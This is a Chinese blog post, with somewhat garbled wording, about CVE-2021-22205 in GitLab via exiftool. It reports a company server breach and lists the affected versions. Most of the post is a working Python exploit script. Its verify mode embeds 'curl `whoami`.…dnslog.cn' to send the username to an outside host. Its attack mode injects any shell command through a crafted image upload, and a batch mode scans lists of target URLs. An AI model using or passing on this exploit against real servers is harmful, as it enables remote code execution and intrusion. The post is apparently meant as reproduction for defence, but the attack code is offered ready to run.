关于安全:CVE202122205-Gitlab-exiftool-远程命令执行漏洞

公司某服务器受到攻打，排查后发现攻破点为 CVE-2021-22205 Gitlab 近程命令执行破绽

影响版本

Gitlab CE/EE < 13.10.3
Gitlab CE/EE < 13.9.6
Gitlab CE/EE < 13.8.8

次要是 gitlab 调用了 exiftool（一个图像处理软件)，而 exitftool 存在命令执行破绽（CVE-2021-22205），从而导致 gitlab 也存在此问题，现复现一下该破绽。

执行以下脚本后在服务器复现了该破绽

import requests
from bs4 import BeautifulSoup
import base64
import random
import sys
import os
import argparse

requests.packages.urllib3.disable_warnings()

def title():
    print("""
      ______     _______     ____   ___ ____  _      ____  ____  ____   ___  ____  
     / ___\ \   / / ____|   |___ \ / _ \___ \/ |    |___ \|___ \|___ \ / _ \| ___| 
    | |    \ \ / /|  _| _____ __) | | | |__) | |_____ __) | __) | __) | | | |___ \ 
    | |___  \ V / | |__|_____/ __/| |_| / __/| |_____/ __/ / __/ / __/| |_| |___) |
    \____ |  \_/  |_____|   |_____|\___/_____|_|    |_____|_____|_____|\___/|____/ 
                                    Author:Al1ex@Heptagram
                                Github:https://github.com/Al1ex                             
        """)
    print('''
        验证模式：python CVE-2021-22205.py -v true -t target_url 
        攻打模式：python CVE-2021-22205.py -a true -t target_url -c command 
        批量检测：python CVE-2021-22205.py -s true -f file 
        ''')    

def check(target_url):
    session = requests.Session()
    try:
        req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False)
        soup = BeautifulSoup(req1.text, features="html.parser")
        token = soup.findAll('meta')[16].get("content")
        data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{curl `whoami`.82sm53.dnslog.cn} . \\\n\"b \") )                                                                                                                                                                                                                                                                                                                                                                                                                                     \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"headers = {"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36","Connection":"close","Content-Type":"multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5","X-CSRF-Token": f"{token}","Accept-Encoding":"gzip, deflate"}
        flag = 'Failed to process image'
        req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
        if flag in req2.text:
            print("[+] 指标 {} 存在破绽".format(target_url))
        else:
            print("[-] 指标 {} 不存在破绽".format(target_url))
    except Exception as e:
        print(e)

def attack(target_url,command):
    session = requests.Session()
    try:
        req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False)
        soup = BeautifulSoup(req1.text, features="html.parser")
        token = soup.findAll('meta')[16].get("content")
        data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{"+  command +"} . \\\n\"b \") )                                                                                                                                                                                                                                                                                                                                                                                                                                     \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"headers = {"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36","Connection":"close","Content-Type":"multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5","X-CSRF-Token": f"{token}","Accept-Encoding":"gzip, deflate"}
        flag = 'Failed to process image'
        req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
        if flag in req2.text:
            print("[+] 指标 {} 存在破绽".format(target_url))
            print("[+] 请到 dnslog 或主机查看执行后果")
        else:
            print("[-] 指标 {} 不存在破绽".format(target_url))
    except Exception as e:
        print(e)

def scan(file):
    for url_link in open(file, 'r', encoding='utf-8'):
            if url_link.strip() != '':
                url_path = format_url(url_link.strip())
                check(url_path)

def format_url(url):
    try:
        if url[:4] != "http":
            url = "https://" + url
            url = url.strip()
        return url
    except Exception as e:
        print('URL 谬误 {0}'.format(url))    

def main():
    parser = argparse.ArgumentParser(description='GitLab < 13.10.3 RCE')
    parser.add_argument('-v', '--verify', type=bool,help='验证模式')
    parser.add_argument('-t', '--target', type=str, help='指标 URL')

    parser.add_argument('-a', '--attack', type=bool, help='攻打模式')
    parser.add_argument('-c', '--command', type=str, help='执行命令')

    parser.add_argument('-s', '--scan', type=bool, help='批量模式')
    parser.add_argument('-f', '--file', type=str, help='文件门路')


    args = parser.parse_args()

    verify_model = args.verify
    target_url   = args.target

    attack_model = args.attack
    command = args.command

    scan_model = args.scan
    file = args.file

    if verify_model is True and target_url !=None:
        check(target_url)
    elif attack_model is True and target_url != None and command != None:
        attack(target_url,command)
    elif scan_model is True and file != None:
        scan(file)
    else:
        sys.exit(0)   

if __name__ == '__main__':
    title()
    main()

参考资料
原理：https://devcraft.io/2021/05/0…
POC：https://github.com/Al1ex/CVE-…

关于安全:CVE202122205-Gitlab-exiftool-远程命令执行漏洞

一、背景

二、原理

三、攻打脚本